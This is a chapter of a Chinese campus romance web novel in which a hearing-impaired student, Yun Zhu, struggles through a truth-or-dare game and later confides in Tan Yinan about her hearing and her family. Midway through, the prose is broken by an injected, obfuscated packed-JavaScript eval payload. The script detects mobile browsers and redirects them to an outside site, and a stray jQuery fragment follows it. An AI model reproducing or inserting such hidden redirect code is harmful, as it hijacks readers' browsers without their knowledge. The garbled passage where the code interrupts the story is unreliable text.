14. Chapter 14

作品:《小山竹[校园]

    比熟悉的身影来的更快的是她辨识度高的声音——


    “哈哈哈哈!这个好玩!海湖你可真会玩!都来试试都来试试!”


    程慕眯起眼睛,“这不是楚彩吗?她居然会在这里?”


    一提到楚彩,情书的发起者。云竹便忍不住去想,她知道谭以南住在这里,那么今晚上是在这里蹲守的吗?更为重要的是王婆婆和云竹告别前,也提起过谭以南晚上不在家吃饭。


    云竹不禁向烧烤摊看去。


    烧烤摊的大伞挡住了大部分视野,云竹只能看到小巧的身影,那八成就是楚彩,她身边还有一个高高瘦瘦的身影,一动不动,身边的几个人围在他旁边。


    她的心跳频率再一次发生了异常。


    是得了某种怪病吗?怎么会如此剧烈?


    云竹心想。


    今夜气温骤降,热气相对于白天湿热的空气还算凉快清爽。不是热的,也不是冻的感冒了。那是怎么回事?云竹真觉得自己该去医院看看。


    程慕一整个站起来,和老板娘招呼一声,左手拎起两份炒面,右手拉着云竹的手,齐齐向烧烤摊跑去。


    “快来快来!楚彩也在呢!说不定谭以南也在,你们好好相处。而且云竹,你呀要多参加一些社交活动,比如说这次围在一起玩什么游戏呢,这样才能更好地融入社会。”程慕边说边扭过头对云竹笑。


    生知云竹扭不过程慕,到了一桌子人面前,刚到这里,也不好找什么借口推脱离去。


    面对着一桌子人,洒满孜然的烤串毫无章法地摆在桌子上,不少熟悉面孔,玩嗨了瘫在座椅上的海湖,站起来边吃羊肉串边整理道具的楚彩,还有王荼淑,也有不认识的几个男生……


    目光落在坐到最角落的谭以南,他不知道在看什么,垂眸不语,不开口讲话时整个人如同从油画里走出的完美人物。


    烧烤摊挂着的白炽灯泡光芒映照在他的脸上,乌黑睫毛似乎挂着丝丝明亮,薄唇紧闭,一双波光流转的眼睛盯着杯子里的液体,手腕骨轻轻晃动,掌中水液随之漾起一个漩涡。


    看到程慕和云竹过来后,也是一句话也没说。


    云竹顿住呼吸。


    他怎么会在这样里?体弱多病,还能喝酒吗?


    原来王婆婆说的,他今晚不在家吃饭。


    ……原来是陪楚彩在这里吃饭。


    觉察到这一现状后,云竹浑身的精气神被抽走似的,也没心情在这里装装样子吃饭,想找人倾诉,但是谁又是她的倾诉对象?只好把这一口苦闷在心里,久而久之,也不想找人说话。她的腿移动困难,简直要瘫在这里。


    ……其他人都不熟悉,甚至一两句话都没聊过。


    云竹不禁往后退缩一步,谁知程慕死死拽着她的手。在楚彩的欢迎下找了个位置坐,给云竹一份沉甸甸的塑料袋,里面是还没开动的炒面。


    “人多了人多了,人数够了啊,真心话大冒险开始之前,等我算个卦,看看今晚上校领导会不会巡逻,请叫我风水大师!”


    “我可去你的!我看你是喝多了吧海湖,今天是假期,又不是晚上偷偷溜出来吃烧烤喝啤酒的。”


    “谁先开始?楚彩吧!你先你先,你先转空酒瓶子,瓶口对着谁,谁就要根据瓶尾的人选择真心话还是大冒险。”


    “……”


    烧烤摊的灯泡光亮和路灯交织在一起,桌面上的木头纹路显露出光泽,云竹坐下后就没再说一句话,她左边是楚彩谭以南,右边是程慕和王荼淑,正对面是喝得醉醺醺的海湖。


    解开塑料袋,云竹拿出一次性筷子,拆开包装。心里想着,吃完这顿饭找个不舒服的理由就走,不打扰这些人玩乐,自己是个闷的别扭性子,程慕拉她来到这里,想来也是凑个人数。


    饭桌上时不时传来海湖耍酒疯的玩笑话,惹得一众人哈哈大笑,爽朗的嬉笑声暴露他们的少年意气,云竹抬眼看去,整个人好似被孤立在热闹的氛围外。


    和人群格格不入。


    她是异类。


    总是这样。


    ……云竹怀疑自己的性子,她好似天生就是异类,被排挤在外,融入不到群体。听力障碍无疑加重了这一特质,从小到大没什么要好的朋友,和同桌关系也一般般,没有到更深的友情地步。到了高中遇到程慕,这扑朔迷离的离奇现象才有所缓解,但也仅仅是缓解,未到彻底解决的地步。


    更多的是自我反思,云竹也会想是不是自己的问题,性格闷,内向,少说话,胆小,不喜欢麻烦,也不愿意麻烦别人——她有段时间实在想不通,为什么会有人天天麻烦别人,这会给别人带来麻烦,更何况,帮助别人是美好品德,不是法定义务。


    她更不乐于社交,所以才交不来朋友。原因就是这一点,她无比清楚。没有人比她更了解自己。就像这社会大人们普遍认为内向是病,活泼开朗的孩子还是正常人。


    那就当个异类,以这种身份继续待着。


    云竹不切实际地想。


    酒味混杂在空气中,随着气流流动到各个角落,云竹扇了扇面前的空气,惊觉酒味不是从身旁散发出来,程慕不喝酒,而身边坐的唯一男生是谭以南。


    视线落在他右手指骨触碰的玻璃杯。


    对方对视线游走极其敏锐,开口道:“在看什么?”


    一句话打破云竹的凝思。


    她一愣,随后答道:“……没什么,你原来没有喝酒吗?”


    谭以南拎起杯身,晃荡着水液,满天的星空好似聚集在晶亮的液体中,“没有,我不喝酒。”


    不喝酒。


    ……原来他这么洁身自好。


    云竹没话说,只好点点头。


    又开始了,这尴尬的气氛。


    云竹不是很想和谭以南在一起聊天,每次话题结束都是两两相觑,无话可说,又不知道说什么好,只好等着他先开口。但谭以南也不是个活泼性子,总是造成僵持的局面。


    然而今夜他罕见地开口,无声地盯着云竹,“你想让我喝?”


    云竹刚准备摇摇头,对面传来一声惊呼,架势将桌上的崂山啤酒咣当一声摔在地上,发出清脆的玻璃撞声,真心话大冒险游戏不知道什么开始了,云竹神游在外,注意力一点也没有放到上面。


    只见程慕站起来背古诗,双手背后,边背边想,磕磕绊绊:“南村群童欺我老无力,忍能对面为盗贼。公然抱茅入竹去,谈笑间……什么来着?群童灰飞烟灭吧!就是这样!”


    海湖噗嗤一声哈哈大笑,对着程慕说道:“哈哈哈哈什么鬼啊!”


    程慕一听就炸,回怼反击:“怎么我背的不对吗?是我选的大冒险啊,你让我背一首古诗,我也背出来了。”


    “啥?我说的是实话,你背的什么鬼啊?什么群童灰飞烟灭,诗人听了能把棺材板掀起来揍你一顿好不好?怎么还赖上我了?”海湖一脸委屈,双腿乱蹬,险些将塑料座椅给掀飞,还是楚彩帮忙扶着椅子后垫,“来来来,不算了,算的头晕,开始转瓶!”


    碧绿色的啤酒瓶子在不锈钢盘上顺时针转动,重影渐渐叠起,速度慢下来,在众人的目光中逐渐转向——


    瓶子停住。


    “云竹,是你。”楚彩笑起来,“来吧,你是大冒险还是真心话?放心,我提的问题都很简单,不会刻意为难,你随便选就是。”


    这一句话如同定海神针,云竹一下子放松警惕,楚彩果然名不虚传,人品十分不错,讲话给的多余空间到位。


    “真心话吧,我选真心话……”声音越说越小,云竹没了底气,话刚说出口她便后悔,撒谎是她最不擅长的一项,更何况现场还有一个最难应付的人,一眼便能看穿伎俩。


    云竹默默看了一眼谭以南。


    女孩的眼睛会说话般,对上谭以南的目光,即刻闪开。


    ……希望他能给一些面子,不要当面拆台就好了。云竹默默祈祷着,内心有一个小人双手合十跪在地上,虔诚无比。


    “ok,那我就随便问了啊,别紧张。”楚彩眼睛转动着,“我想想……”


    偏偏这时有其他男生起哄,“云竹长得这么好看,你问问她喜不喜欢我?”


    程慕率先一脚踹开起哄男,“滚啊!云竹喜欢上我,都不可能喜欢你!就恶心你们这些狗屎普信男,一巴掌呼上去都不够打的!”


    楚彩捂着嘴笑几声,眼睛一转,伸出食指,“有了!”


    云竹抬起头。


    楚彩站起来和她说话,云竹也不好坐着回复,这样一来,云竹潜意识认为身份不对等,同学之间是平等和谐互助的关系,应该也要站起来回复才对。


    她坐的太久,小腿微微麻木,站起来时扶着座椅塑料扶手,地砖上布满了曾经饭客吃饭时滴落的油迹,久而久之,地面滑,她重心转移到椅子,左手使劲的地方往下一滑,整个人随之一个踉跄往后栽——


    白皙的大手扶住她的手臂。


    是温冷的触感。


    触碰的那一刻,两个人的体温顺势融合,温差让云竹失了神,下意识往后推了一步。她不喜欢和才认识不久的人接触,无论对方是同性还是异性,皮肤相触时造成异样的心理感受。


    谭以南看了她一眼。


    云竹脑子没反应过来,转了半天从唇里挤出两个字,“……谢谢。”


    对方转过头,没了声音。


    一组的同学喝得醉醉醺醺,海湖又嚷嚷着跳大神,程慕对几个男生连扇又踹,就差涌上去打一架,旁边的楚彩忙得大汗淋漓,叫了服务员把地上的空酒瓶子拿走。


    “话不多说,来来来,我想到一个。”楚彩莞尔,指尖一点一点地打击桌面,“你们都别插嘴啊。”


    几个闹腾的人安静下来,开始等待今天的重头戏。


    楚彩眼睛炯炯有神,不放过云竹脸上一丝的表情。


    她说:“云竹,在在场的人里面,你有没有喜欢的人?”


    云竹当场怔然。


    右手拿的筷子啪嗒一声掉进塑料袋。


    喜、喜欢……?


    ……什么是喜欢?这种感情滋味是什么样的?怎么样才能描述?


    云竹脸上有一瞬间的迷茫,游刃有余地躲开楚彩的眼睛,内心、脸上都是空白的,毫无色彩的。


    有人捕捉到云竹细微的表情变化,打趣道:“欸,云竹,你这个反应,是不是真的有啊?是谁是谁?说出来,大胆追!”


    云竹急忙摆摆手:“没有没有,真的没有……”


    余光瞥见谭以南偏了一下头。


    “诶呦,真的假的?我看你是在说谎吧?”


    “脸都红了啊你,楚彩,你追问一下试试!”


    “云竹,真的,喜欢一个人不丢脸!”


    “哈哈哈哈哈哈哈哈!别为难人家了,都坐下都坐下。”


    “……”


    此起彼伏的议论声量重重叠叠,街道上车辆往来络绎不绝,各种混杂的噪音搅混在一起,云竹听不清楚任何言语,男男女女的声音像是糊了一层薄膜,听不真切。


    “真的没有,我没喜欢过任何一个人。”反驳的言语积累在喉咙中,云竹张口欲言,那些字句仿佛说出来便没了声,她现在,只会没有意义地重复这一句话。


    手指捏紧衣角,指甲粉中泛白,烧烤摊隔壁时不时传来爆笑声,聒耳噪音吓了众人一大跳,更是加重了云竹的烦躁。她不敢去看谭以南那一双穿透人心的眼睛,四目相对的那一刻,她就会“犯病”,熟悉的心跳加快和肾上腺素的威力领略到后,云竹更不敢去接触他。


    “真的啊?”


    “说谎了吧?撒谎了可是要自罚一杯的哦。”一直沉默不语的王荼淑开口。


    “没撒谎,别劝酒。”


    久违的嗓音打破隐隐约约变质的氛围,一行人往声音的源头看去,谭以南挽起衣袖,露出纤瘦的手臂,他倒了半杯橙汁,橙黄色的果液在蒙亮灯光下,晶莹剔透。


    “云竹,你坐下吧。”谭以南语气平静,再一次开口。


    云竹这才有了反应,偏过头,看向谭以南,眼里满是迷茫。


    她听不见?


    “坐下。”谭以南眼里闪过一丝微动,表面如故,右手往下招了招示意云竹坐下。


    “那好那好,来来来下一局!该云竹你转瓶子了!”程慕拿着玻璃杯跑过来说道,她刚刚又向老板娘要了一份烤饼,奔向这边时,手里的可乐往前洒了一摊都没有注意到。


    “云竹,你来转一转!”楚彩脸上泛起了一片红晕,也不顾表面的温淑,和程慕、王荼淑扭抱在一起。


    云竹照做,默默隐退了这局游戏,身为局外人,还是不要打扰他们的兴致好。刚刚那次真心话大冒险,她的觉察力敏锐感受到了一众人的心情,没有其他人玩得更为开心。


    夏季夜晚温度不算太低,手指隔着塑料袋还能感受到炒面的热气,云竹拿好筷子,垂眸,盯着塑料袋里的炒面,整个人和周边黑影融为一体。


    她刚刚的反应,是不是太扫兴了?


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16029562|177945||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ……早知道就不来了,她来了也是破坏好兴致。


    真心话大冒险进行中,数次场景深深印在了云竹脑海里,她一筷子夹起炒面,程慕和楚彩的细微表情、还有一些不认识的男同学期待和自我的脸色,交织编成电影录像带,画面胶卷缓缓播放,循环复始。


    ——有个男生一直在笑,不知道在笑什么,在笑她无趣吗?


    ——而她的同学,楚彩看起来好像不相信她。


    ——程慕也是一脸认为她在说谎的样子。


    陌生人的信任固然可贵,但友谊长存建成的百分百信任此时崩塌。云竹从不相信什么耍酒疯乱说话这一说法,更相信酒后吐真言,苏琦就是在喝大后躺在床上,才吐露出是为了云竹的弟弟过上更好的物质生活,才让前夫领走。


    那么这一说辞,是不是也可以套用到她的好朋友身上?


    云竹不愿意,她现在变了,变得和从前大相径庭,相信她们被酒精麻痹神经,胡言乱语。


    人就是如此多变。


    只愿意相信自己想要的那一部分。改变不了事实,也可实现自我催眠。


    思绪是脱了线的风筝随风远飞,大脑的意识逐渐拽不回来,连云竹自己也不清楚,眼泪是什么时候流出来,又是什么时候滴入炒面,晶莹泪水和食物油不融,渗进面条。


    万幸她埋头吃饭,灯光昏影下,所有人看不见云竹的脸。


    炒面入口,辣感大力刺激到味蕾,火辣辣的麻木灼烧感传遍口腔,云竹捂着嘴咳嗽,程慕把她和自己的炒面搞混拿错,云竹明明要的是清淡的那一份。


    “咳咳咳,我咳咳……”云竹被辣到并不难过,相反,这是一件幸运的事情,起码泪痕在脸颊边,也有了借口。


    “你怎么哭了?云竹?”程慕见状噔噔噔跑过来,扶着云竹,另一只手递出一张纸,“我去!我是不是把你和我的炒面拿错了,我还没吃呢!等下,我拿错的那一份还没开动,咱俩换回来,我不嫌你脏。”说着,程慕真还这样做了。


    “被辣到了,咳咳咳……”云竹边咳边说,泪花不断从眼眶中渗出,“我先回去一趟。”


    程慕见状也不好阻拦,放任她离去。


    *


    深夜十二点。


    街道上空无一人,各家各户落了灯,窗门紧闭,一眼望去,空空荡荡。云竹用剩下的卫生纸擦去泪痕,这样的黑夜挺好的,她本是黑夜的影子,没人能听到她的哭诉。


    卫生纸扔进街边垃圾桶,云竹甩了甩手,用最快的速度整理好衣着,还有一个路口就到王婆婆家,进门后,她这副哭泣的样子万万不能让王婆婆看到,婆婆年纪大了,不能再让她操心。


    长风钻进街头小巷一路无阻,直直撞在云竹身上,头发丝轻抚两鬓,往后飘移。


    万籁俱寂。


    云竹拐进走过无数遍的街道,拾阶而上,身后传来一道声音,回响于蛛网布满角落的楼道,在空荡寂静的夜晚分外清晰。


    她顿住脚步,回眸。


    轻柔月光予谭以南的轮廓洒了一层薄白,他斜靠在墙边,黑色外套自然垂落在身上,显出挺拔的骨架。黑漆漆的楼道内,唯有那一双深邃的眼睛不慌不忙,接住云竹含泪的视线。


    “……你怎么跟过来了?”云竹尽量稳住呼吸,可嘶哑怯懦的喉咙暴露了她。


    “回家。”谭以南脸上没有任何表情,至少从平静无波的眼眸来看是这样,也许是天太黑,楼道太黑,云竹的眼睛被泪水模糊的原因,她没有看到。


    “我自己一个人,能找到家。”


    “你没有家门钥匙。”


    “……”云竹不吭声。


    “刚才玩游戏时,你怎么了?”谭以南罕见地主动挑起话题。


    云竹转过头,看向一边。往前,她是不会主动和人揭露内心的伤疤,饶是岁月磋磨,长出了新的外皮,但依旧不是曾经,她也不知道为什么,表述不出来原因,或许是见到谭以南便呼吸急促的小病在作祟,将憋在心里积累成一团的想法迸发而出。


    也不管认识多少天,双方熟悉到哪种地步。她不想管了,也不想在意什么重不重要的性质,现在只想找一个人倾诉,无论是谁,无论是非。


    云竹握紧了拳头,强撑着眼泪不落。


    ……算了,谭以南未必愿意听。


    云竹选择有所保留:“我不想玩,我没几个认识的人。”


    谭以南轻轻摇头,缓着步子走近,“不是这个。”


    云竹抬起头,静了好一会,“那是什么?”


    谭以南实话实说:“第一次遇到你,低血糖,我喊你,你没听到,游戏中,我喊你,你也没听到。”


    云竹心中警铃大作,咽了口唾沫,“我身体不舒服。”


    谭以南:“撒谎水平还是没一点长进。”


    云竹绷紧的身体泄了气,肩膀放松下来,缓缓嫌掀起眼皮,最终坦白,“我耳朵不好。”


    谭以南挑起眉,“你有听障?”


    云竹低头,小声地“嗯”了一声。


    “为什么不戴助听器?”


    “戴了,但丢了。”


    “你父母没给你再买一个?”


    “他们……”云竹犹犹豫豫开口。


    到嘴边的话戛然而止,“不想给我买”硬生生咽进了肚子里,云竹改口说道:“家里没钱。”


    谭以南笑了一声,听不出是气笑了还是感到好笑,“家里人骗你,你还真信。”


    谭以南经过她,往前上楼梯,“你也是真好骗。”


    “我防范意识很强,别人骗不了我……”云竹跟着上楼梯,还想反驳,却被谭以南一口打住。


    “傻成什么样了?正是因为你对外界警惕度高,才忽略了家庭带来的pua性欺骗。”谭以南不急不慢地看了一眼她。


    “你说的……?”


    “没听说过很正常,我怀疑你是不是人格分裂,有时候很聪明,有时候被人耍得团团转,是装的还是心甘情愿。”


    云竹垂头丧气,跟在他后面,“可是我妈妈骗我,我也是知道的,她喜欢弟弟,不喜欢我。”


    谭以南顿住脚步,云竹不小心撞上去,双手捂着脑袋,蹙眉还想说什么,却见他回过头,正视她。


    楼道拐角处的狭小窗户口透出一丝月光,谭以南整个人位于台阶上,逆光下,云竹面前。


    云竹怔然。


    谭以南开口:“那你呢?”


    “你愿意接受你本身的缺陷,喜欢你自己的人格么?”